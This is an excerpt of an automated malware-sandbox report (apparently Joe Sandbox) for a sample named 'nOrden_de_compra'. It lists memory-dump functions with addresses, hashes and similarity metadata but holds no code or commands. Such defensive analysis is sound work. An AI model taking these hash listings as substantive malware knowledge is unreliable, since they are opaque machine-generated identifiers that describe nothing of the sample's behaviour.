Opcode ID: 83fbc0835b8cddf1815c1493851989937a56559d812d7674030d6c11b52f270b
Instruction ID: fb215f9775ca284be891ae73f67955eaa0fbb8f95c9b389d5b2c12fe60e5f712
Opcode Fuzzy Hash: 83fbc0835b8cddf1815c1493851989937a56559d812d7674030d6c11b52f270b
Instruction Fuzzy Hash: 3241F3B4929628DFDB60CF14CC89799BBB1BB49305F0020D9EA09A3341DB709AC5DF04

Uniqueness

Uniqueness Score: -1.00%

Function 0722BEE8 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4e621884b69e898feaeba322019534868ab09e92821c920311f5367acf925a4
Instruction ID: c89420ec16a84c6cd0084c8143c922eb0214c8ab6192c6cdafbc13398cb7b5d2
Opcode Fuzzy Hash: d4e621884b69e898feaeba322019534868ab09e92821c920311f5367acf925a4
Instruction Fuzzy Hash: A231B374E10219DFDB08DFA9C8406EEBBF2BF88300F10802AE905B7354EB7599469F90

Uniqueness

Uniqueness Score: -1.00%

Function 0722EB50 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0231385a4a93abff26e75a513695eafeee0eb8b74f0a7f4ed540065b030a69f
Instruction ID: 60c04b84d7f8ec502663fc39ce692d120630c863eb904f6aec61fcb8f5210911
Opcode Fuzzy Hash: f0231385a4a93abff26e75a513695eafeee0eb8b74f0a7f4ed540065b030a69f
Instruction Fuzzy Hash: 4B314974E20219DFDB04DFA9C448AEEBBB2FB89310F018129D811A7354CB709D42DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0125D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112668751.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3706c339a7d7d233c143c37bfd72f72c9b0e59ef51562a70183aabf749447a57
Instruction ID: 96b5ca582ffe0a62b3a7bcd2642ba00d011431099a2041036243cec275443330
Opcode Fuzzy Hash: 3706c339a7d7d233c143c37bfd72f72c9b0e59ef51562a70183aabf749447a57
Instruction Fuzzy Hash: 06214876110208EFDB05DF44D9C0B66BF65FB84324F20C16CDE090B256C376E456CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0722535A Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c4da80ee76fd3a2663725615351471e33973e4a7a7fad95bd79a8f238f2bad
Instruction ID: 2727ea1f9ee0de63b63251ba45f17c314f721ceabf7b5094ea0c764d74569843
Opcode Fuzzy Hash: e7c4da80ee76fd3a2663725615351471e33973e4a7a7fad95bd79a8f238f2bad
Instruction Fuzzy Hash: BE3102B8E1020ACFDB44DFA9D4847AEBBF1FB89304F10946AD904A3294EB745A45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07225368 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2533d4bd3d6462488e737963640af615ffedb33c034211685953c3de1a591e0
Instruction ID: 4a2e60eda56c40bab490f6f188fdc2105ace013424b5a7b9f6f1501a86502af4
Opcode Fuzzy Hash: f2533d4bd3d6462488e737963640af615ffedb33c034211685953c3de1a591e0
Instruction Fuzzy Hash: 0131F2B8E1020ADFDB44DFA9D4846EEBBF1FB89304F109469D904B3294EB746A45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0722DA68 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1ff9c7ea4e82252b5b6cea703cdc0a3272ba74bb413bfe841291c1cbdc4d2ad
Instruction ID: 2f9770a9520c3ba9dbaa5707194c096b4bf569519fb03f88d4d51e47990ae142
Opcode Fuzzy Hash: e1ff9c7ea4e82252b5b6cea703cdc0a3272ba74bb413bfe841291c1cbdc4d2ad
Instruction Fuzzy Hash: 2B3116B8E2021EDFCB84DFA9C4956BEBBB1FB88300F108129D915A7344DB745942DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0126D294 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112740017.000000000126D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0126D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_126d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c588f239d084b164f65be13275041bb1076df614225ccec551babefe045853a
Instruction ID: 1eb7fc4205687d420ff355cb4fa8b51bb4343340f4db41b4acbc102bf171d806
Opcode Fuzzy Hash: 7c588f239d084b164f65be13275041bb1076df614225ccec551babefe045853a
Instruction Fuzzy Hash: B221677561424CEFDB04CF54C9C0B25BBA9FB84324F20C56DD9890B292C37AD896CE61

Uniqueness

Uniqueness Score: -1.00%

Function 0126D0DC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112740017.000000000126D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0126D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_126d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb2bbde34aaf59074b9807fcf1083917d957514166d8000fa9a85b2cea226cf
Instruction ID: 326ff1322d74c11d0b3c461e73077b8103241711b903bc2768dfe6116554d6dd
Opcode Fuzzy Hash: 5bb2bbde34aaf59074b9807fcf1083917d957514166d8000fa9a85b2cea226cf
Instruction Fuzzy Hash: 732164B521430CEFDB04DF54C9C0B26BB69FB84314F20C5ACDA490B292C3BAD886CA61

Uniqueness

Uniqueness Score: -1.00%

Function 07225648 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa2439095c0293bf03730a04a5af51bd3b890daf30935aab58955d778e8c2147
Instruction ID: bf8b0cb0a8dbf075c8c7581f9734e146fcb4efc75eaadcd3612224f250da2995
Opcode Fuzzy Hash: aa2439095c0293bf03730a04a5af51bd3b890daf30935aab58955d778e8c2147
Instruction Fuzzy Hash: 652151B4D2421AEFDB04DFAAC0446BEBBB2FF88300F10C1A9D815A7244D7759992DF84

Uniqueness

Uniqueness Score: -1.00%

Function 0722C720 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61db5d180d57abaeadad70ddc82321c3d550192890d69b14581ecd43d4b7e159
Instruction ID: 554662af3e67f1000cd746782720659416d03fdd6697428afea55612852ff6c4
Opcode Fuzzy Hash: 61db5d180d57abaeadad70ddc82321c3d550192890d69b14581ecd43d4b7e159
Instruction Fuzzy Hash: E0219074A11908EFC704DF5AE68499DBBF1FF8C210B6280D5E8449B225DB31EE11DF10

Uniqueness

Uniqueness Score: -1.00%

Function 0722C8A0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16ddd47c92ef6b5299aa340845b88e20b8d83d3079ccca62e5a38256526b96e
Instruction ID: 511b48180b653f9f79932bbfcecb4679f9fe584f5da5a2b1d208c19b79fb9f52
Opcode Fuzzy Hash: c16ddd47c92ef6b5299aa340845b88e20b8d83d3079ccca62e5a38256526b96e
Instruction Fuzzy Hash: D221E7B8D10209EFDB45DFA8D881AAEBFB1FF48310F1091A9E904A7250D7709B51DF81

Uniqueness

Uniqueness Score: -1.00%

Function 0125D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112668751.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: 689f560ea18a8210bba57991ee21e9ad06c9d720c925170ee6c24076c35324b9
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: 7611CDB6404284CFDB06CF44D5C0B56BF72FB84224F24C2A9DD090A256C33AE456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0126D28F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112740017.000000000126D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0126D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_126d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: d473d41575707add8207aa194db320143ad5452601f1809eea2a3c61ba540f9e
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: 7111BB79604288CFCB02CF54D6C0B19BFA1FB84214F24C6A9D9894B292C33AD45ACF61

Uniqueness

Uniqueness Score: -1.00%

Function 072252C8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a8e9f888c00b13690136e7b6f2be0a9c603adc96c82118cfbafdf4c250eeb18
Instruction ID: d8d5e6197a165ca2356c2dab1a40448d50aec0e0847a5fb75dcdfa8c649a7b6f
Opcode Fuzzy Hash: 5a8e9f888c00b13690136e7b6f2be0a9c603adc96c82118cfbafdf4c250eeb18
Instruction Fuzzy Hash: 52018BB4D14209ABCB40EFAAD4457ADBBB5FB88300F1081A59C08D3344EB709A42DB40

Uniqueness

Uniqueness Score: -1.00%

Function 0722C7F8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9408e2528f588aea47d405b314cc9f86bb0e94a9285b67970c3e0515477323a
Instruction ID: f062c09f7dd02afb7d13099124059c4e01fc3931642da05badef857cac04ae62
Opcode Fuzzy Hash: e9408e2528f588aea47d405b314cc9f86bb0e94a9285b67970c3e0515477323a
Instruction Fuzzy Hash: F411B078921508EFCB40DF99E58999CBFB0FB48210F5281D5EC84A7325CB30AAA1CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07225638 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc564225aef26624a235c4ff267343031d08d0c749d533179ce1c4843b0eeea0
Instruction ID: 486a195b3b64ac6af976dd209b16f12fa9292ccb85e4588736bd17ba0df03277
Opcode Fuzzy Hash: cc564225aef26624a235c4ff267343031d08d0c749d533179ce1c4843b0eeea0
Instruction Fuzzy Hash: 520117B4D2560ADFDB44DFAAC4453AEBBF5AB89300F1481A9D808E3200E7749A95DF80

Uniqueness

Uniqueness Score: -1.00%

Function 072252D8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c64d513e095e5595efb364cc25b386964cc8f06812297027a68ae2d6f385053
Instruction ID: 07c269930e089cfd7042d0392840cd0d5ca7d0b1c81997eb0955b2a456c83aec
Opcode Fuzzy Hash: 8c64d513e095e5595efb364cc25b386964cc8f06812297027a68ae2d6f385053
Instruction Fuzzy Hash: 570148B8D14209AFCB44EFAAD4456AEBBB5FB88300F1095A59C18D3304DBB05A45DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0722396F Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aae6ac42b8b3c786393cc58c423d37da958169a90b078218887a54e387996e7
Instruction ID: 452fee14679fd0cf6d18438e2db837b5cf8e72b508b54369354028b945463517
Opcode Fuzzy Hash: 8aae6ac42b8b3c786393cc58c423d37da958169a90b078218887a54e387996e7
Instruction Fuzzy Hash: 51F0A0B10293889FC701CB70981A3583FF8DB0B101F2446A2DD04C7162EA789A09DB52

Uniqueness

Uniqueness Score: -1.00%

Function 0722C240 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c0ff830193fe2c25f7b3dc53ed9220744a925ad86cc75ad85a578957528c139
Instruction ID: d6a21134b4c404ba042a47579c72e55a6f5ede0854b8b01f591036005a02cea6
Opcode Fuzzy Hash: 7c0ff830193fe2c25f7b3dc53ed9220744a925ad86cc75ad85a578957528c139
Instruction Fuzzy Hash: 44F0FFB8D14219DFDB44DFA9D4456ADBBB4FB49700F1086669C14E3300DB705A45DF50

Uniqueness

Uniqueness Score: -1.00%

Function 07225547 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 024766ada98ba69fe2b00c4b5e4125c54762153cb027a3058a8cf67316a4f271
Instruction ID: 2f37f91518a0e66d9df6b2830a301ad814b47e28eef3be1fbec9c628426721c7
Opcode Fuzzy Hash: 024766ada98ba69fe2b00c4b5e4125c54762153cb027a3058a8cf67316a4f271
Instruction Fuzzy Hash: E0F08CB4D18208AFC740DBA8D84539CBBF4EB48300F10C1A9A808D3341D731DA52DF40

Uniqueness

Uniqueness Score: -1.00%

Function 07223388 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d01222aec53f11b9e7433633c8cc8a29b97a408df6e7921c9aad9c31928083
Instruction ID: 0c8418578440f964684d5ff7bb108576725cac60159be572fa7cdd74c910bc26
Opcode Fuzzy Hash: 50d01222aec53f11b9e7433633c8cc8a29b97a408df6e7921c9aad9c31928083
Instruction Fuzzy Hash: 2FE022B5538294EBDB09EF60D4067AD7F36AB43210F00828CDC0503293CF399A47D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 07223398 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa211bda9a3a8b13a318db60fbb88e5986c9fb376f146d3b063bab55be341326
Instruction ID: 3cfe8f8b66f4f8f9bb20bdcae42375ae9ccf8750c75ab802d4184e32fe23e363
Opcode Fuzzy Hash: fa211bda9a3a8b13a318db60fbb88e5986c9fb376f146d3b063bab55be341326
Instruction Fuzzy Hash: EBE0D874828218EBCB04EF50D4065EDBB39BB46300F004158DC0413211CF749F45EB95

Uniqueness

Uniqueness Score: -1.00%

Function 07225258 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1407580df3790714ee4f8eae4d77517b46260363fba5d20e17d9635ceeb8b70e
Instruction ID: f9e2e2220103a24bfb95d7c3782419526487cfed082c2ff4c84a6c381210ffb4
Opcode Fuzzy Hash: 1407580df3790714ee4f8eae4d77517b46260363fba5d20e17d9635ceeb8b70e
Instruction Fuzzy Hash: 19E0DF78228285ABE345CAA0D504B6A7FA59B4620CF1482CCCC4847282CA76DD83CB80

Uniqueness

Uniqueness Score: -1.00%

Function 07225558 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c308c4c9ba0b81be20e17329df1dc0782e3618b8f3419c65432fc7a130162a4
Instruction ID: 518ebb2d849249247e0b7449f2ef26755d61852acb54021fda41f0f09dfb6f2c
Opcode Fuzzy Hash: 0c308c4c9ba0b81be20e17329df1dc0782e3618b8f3419c65432fc7a130162a4
Instruction Fuzzy Hash: DFE0E5B4E14208EFCB94DFA9D4456ACBBF5EB88200F10C1E9A80893340D771AA52DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0722BD88 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb6e2ff25454cc545eed3d3f60d81a3281d9321a854d9880eb07af1444e23657
Instruction ID: afcc2353be905a8df0412ea3535a36ec8121e87497a0af7a8de9783c58195377
Opcode Fuzzy Hash: fb6e2ff25454cc545eed3d3f60d81a3281d9321a854d9880eb07af1444e23657
Instruction Fuzzy Hash: AAE0E5B8914208EFCB40DF99D448A9CBBB4FF49300F1081A9EC4457321E771AE95EF40

Uniqueness

Uniqueness Score: -1.00%

Function 0722EC98 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c308c4c9ba0b81be20e17329df1dc0782e3618b8f3419c65432fc7a130162a4
Instruction ID: c48cd579cb1e3d987013fe667204ab947aa3ce111a7fc95bd00f2af89dc2c56b
Opcode Fuzzy Hash: 0c308c4c9ba0b81be20e17329df1dc0782e3618b8f3419c65432fc7a130162a4
Instruction Fuzzy Hash: C3E0EDB4D14208EFCB44DFA8D44569CBBF4EB48200F10C1A99C0893350D7719A42DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0722C2F8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c308c4c9ba0b81be20e17329df1dc0782e3618b8f3419c65432fc7a130162a4
Instruction ID: 05b0c0166e93796f28d3e78035b2c1cf30ecbab85724f97bd61002f9ff1e3938
Opcode Fuzzy Hash: 0c308c4c9ba0b81be20e17329df1dc0782e3618b8f3419c65432fc7a130162a4
Instruction Fuzzy Hash: D3E0E5B4E18208EFCB84DFA8D4456ACBBF4EB89200F10C5A9D80893350D771AE82DF50

Uniqueness

Uniqueness Score: -1.00%

Function 07223990 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb152ee0ea20c1ac090cfe9673ba691b683a84de43837ea1c0ab2b226f2a6b0
Instruction ID: 92d483ebe676e5a2ce93d648ddfc1fe804f2f8519c174a74701540b87dc0c977
Opcode Fuzzy Hash: ddb152ee0ea20c1ac090cfe9673ba691b683a84de43837ea1c0ab2b226f2a6b0
Instruction Fuzzy Hash: 49E0ECB5425208EBCB00DFA4941A69D7BF8EB4A201F2056A5DD0993111EFB59A44EB52

Uniqueness

Uniqueness Score: -1.00%

Function 0722C3E0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da2251bc9733cf8c393514dc4901c35760c825088edebf3b236f1f08a7f9e3c7
Instruction ID: 0f23c470e53e1b28cd1da8d1a26023ebe1e79c4b41a33d768e820be8b32f0e81
Opcode Fuzzy Hash: da2251bc9733cf8c393514dc4901c35760c825088edebf3b236f1f08a7f9e3c7
Instruction Fuzzy Hash: 6DE0C2B542920CEBC700EFA484046AE7BFCEB4A200F000DA5D90593110EF708E84EB91

Uniqueness

Uniqueness Score: -1.00%

Function 07225268 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7397d9b7c58671a788fbd4fd4da2cbcad5a99490df804126fd4891420bebf8
Instruction ID: 814e09a81ac53cec9b9a8df55936b739a1401a3bc5e6ccd17e52fb3fa2df59f5
Opcode Fuzzy Hash: bc7397d9b7c58671a788fbd4fd4da2cbcad5a99490df804126fd4891420bebf8
Instruction Fuzzy Hash: 01E08C78918208EBC744DFD4D54966CBBB9AB86300F5082D88C0853380CB71AE52DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0722BEA0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a26177f97851a0093c7c77f4b52288895981aeec4b4920c3fd2d6453a140b0
Instruction ID: 655497b668450f110905b2a90248c1aafffcdeb5f4ce9fafd364d0b65b5c1682
Opcode Fuzzy Hash: 68a26177f97851a0093c7c77f4b52288895981aeec4b4920c3fd2d6453a140b0
Instruction Fuzzy Hash: 69E0ECB8935258EFC740DFA8D44969CBBF4BB09201F5001A9DD0893340FB709A85DB41

Uniqueness

Uniqueness Score: -1.00%

Function 07227299 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 003801b341581ebf7b3e29c42f1b2e298f51a052d5dc9f6eb7761d14bace70d9
Instruction ID: 715b3ab78ccaa92c5676ad3b7481e0742c64e2e5e2f88f1847045b29a16c7e88
Opcode Fuzzy Hash: 003801b341581ebf7b3e29c42f1b2e298f51a052d5dc9f6eb7761d14bace70d9
Instruction Fuzzy Hash: 2CE07E7492122ACFEB14DF64DD45B9ABBB1BB49305F0046999809A2250CBB12E81CF00

Uniqueness

Uniqueness Score: -1.00%

Function 0722D730 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 505d34e5d9f5edcd84e9f19661d2e61ac48c19e68088633debbee076abd5ec04
Instruction ID: c31a189478d7a39b13b026e913cec9cb07dff1fb98d4247b7a47c928a8b792b8
Opcode Fuzzy Hash: 505d34e5d9f5edcd84e9f19661d2e61ac48c19e68088633debbee076abd5ec04
Instruction Fuzzy Hash: 79B012F53BC700F2B04D3A744C8997AF860EFA2B00F919C15730400078C8E0A565E31F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07225728 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

m, xrefs: 0722582E

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: b4e1dbeda0ce74e4eeeb6ecdfa63ff9c91756a4d53a511281b9f9eb49ee2d4b9
Instruction ID: 69f2f49b60b8f9bd9df1c81d9ece71fe6362359de83e7c826011f4e6101859e4
Opcode Fuzzy Hash: b4e1dbeda0ce74e4eeeb6ecdfa63ff9c91756a4d53a511281b9f9eb49ee2d4b9
Instruction Fuzzy Hash: 72412FB1D15A588BEB5CCF6B8D4479AFAF7BFC9201F14C1BAC40CAA255EB7045868F01

Uniqueness

Uniqueness Score: -1.00%

Function 07225718 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

m, xrefs: 0722582E

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 407b87fdb9413af1517e8cc9214093e8e50385786550c859e2f667e4e94f343d
Instruction ID: 9d2e0280fcb0b039ab4555ebf6e33ab9d49f2f0cabf19cc56eed085789723f9f
Opcode Fuzzy Hash: 407b87fdb9413af1517e8cc9214093e8e50385786550c859e2f667e4e94f343d
